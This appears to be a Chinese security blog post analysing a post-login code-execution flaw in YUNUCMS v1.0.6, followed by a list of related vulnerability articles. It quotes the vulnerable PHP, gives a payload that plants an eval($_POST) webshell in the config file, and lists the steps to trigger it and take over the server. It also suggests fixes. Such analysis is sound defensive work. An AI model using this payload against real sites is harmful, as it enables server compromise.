0x00 环境准备

QYKCMS官网:http://www.yunucms.com

网站源码版本:YUNUCMSv1.0.6

程序源码下载:http://www.yunucms.com/Download/index.html

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/admin/controller/System.php   第8-24行:

  1. public function basic()
  2. {
  3. $coffile = CONF_PATH.DS.'extra'.DS.'sys.php';
  4. if(request()->isAjax()){
  5. Config::load($coffile, '', 'sys');
  6. $conflist = Config::get('','sys');
  7. $param = input('post.');
  8. unset($param['file']);
  9. $param = add_slashes_recursive($param);
  10. 10.
  11. 11.         $param['site_guide'] = array_key_exists("site_guide", $param) ? 1 : 0;
  12. 12.         $param['site_slide'] = array_key_exists("site_slide", $param) ? 1 : 0;
  13. 13.
  14. 14.         setConfigfile($coffile, array_merge($conflist, $param));
  15. 15.         return json(['code' => 1, 'data' => '', 'msg' => '更新设置成功']);
  16. 16.         exit();
  17. 17.     }

这段函数将配置参数进行用add_slashes_recursive函数处理,写入配置文件中。也就是利用PHP中的addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,我们再看看看其他地方:

2、漏洞文件位置:/app/admin/controller/Common.php 第75-77行:

  1. foreach (config('sys') as $k => $v) {
  2. config('sys.'.$k, strip_slashes_recursive($v));
  3. }

这段代码放在公共类里面,在加载配置文件的时候,将addslashes添加的反斜杠进行还原。形成类似二次注入的情况,可以将单引号引入配置文件闭合前面的单引号。

综上,代码在实现上过滤不严谨,导致攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限。

0x02 漏洞利用

1、登录后台--常用菜单--基础设置--网站名称--填写Payload:

Payload',1=>eval($_POST[g]),'xx'=>'

2、写入成功后,配置文件中存储的是被转义过的代码,我们需要进行二次更新。

3、在网站后台--WAP设置--基本设置--点击提交即可完成配置文件更新。单引号成功闭合前面,构造的脚本代码写入配置文件中。

4、通过直接访问脚本文件,触发脚本代码:

5、通过菜刀连接,成功控制网站服务器

0x03 修复建议

1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析相关推荐

  1. ecshop 解密index.php,ECShop 2.x 3.0代码执行漏洞分析

    0x00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0x01 漏洞原理 ECShop 没有对 $GLOBAL['_SE ...

  2. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  3. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

  4. Joomla远程代码执行漏洞分析小白版(小宇特详解)

    Joomla远程代码执行漏洞分析小白版(小宇特详解) 今天看了一下2021陇原战役WP,在看web方向的时候,看到pop链,想了解一下,后来又看到了p师傅在15年的一篇文章,在这里记录一下.这里主要是 ...

  5. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  6. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

  7. 【代码审计】CmsEasy_v5.7 代码执行漏洞分析

      0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...

  8. thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞

     漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...

  9. 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习

     1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...

  10. php post 漏洞_ThinkPHP5 5.0.23 远程代码执行漏洞

    作者介绍:Ice 国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升.本次分享主要是针对现在一款运用极广的开发框架ThinkPHP的远程代码执行漏洞研究,希望给大 ...

最新文章

  1. 屏幕元素属性的控制盒屏幕事件的中止
  2. MATLAB求解常微分方程
  3. Word无法使用超链接,提示:“由于本机的限制...”
  4. 【python-numpy】工具包中np.random.choice()的用法详解及其参考
  5. Fiddler建好代理后,能连到手机,但手机不能上网了,求破有果
  6. PHP页面编码声明与用header或meta实现PHP页面编码的区别
  7. hibernate注解的测试
  8. php object oriented,PHP学习记录之面向对象(Object-oriented programming,OOP)基础【接口、抽象类、静态方法等】...
  9. JavaWeb——Get、Post请求中文乱码问题
  10. HEL上清除Oracle10g clusterware的失败安装
  11. 2006年年度应用服务器中间件产品评述
  12. 转载:《TypeScript 中文入门教程》 17、注解
  13. [MetalKit]37-Using-ARKit-with-Metal使用ARKit与Metal
  14. 谷歌搜索引擎使用语法大全收集
  15. 解决Windows Server 2008 System进程占用80端口问题
  16. 读书笔记:时间与精力管理:拖延症与六种效应
  17. typo3 网站迁移
  18. 苹果手机计算机歌曲谱,苹果手机如何用歌曲做铃声
  19. 一个时代的印记:还记得那些年我们逃课去的网吧
  20. Jekyll 学习笔记

热门文章

  1. 4K视频质量分析 白皮书
  2. 【软考中级】多媒体基础知识整理(个人整理)
  3. python网络编程 交互式游戏设计——吹牛(RemoteBet)(无封帧)
  4. 9550电机_扭矩公式9550是什么 电机扭矩计算公式T=9550P/n怎么算
  5. STM32系统结构图理解及GPIO学习笔记
  6. 一、设计模式 - UML (统一建模语言) - 类图
  7. 腾讯推出移动端动画组件PAG,释放设计生产力!
  8. (图文)最详细的XAMPP的安装及使用教程
  9. android 设备管理和凭证,简述设备管理的涵义
  10. Matlab数理统计工具箱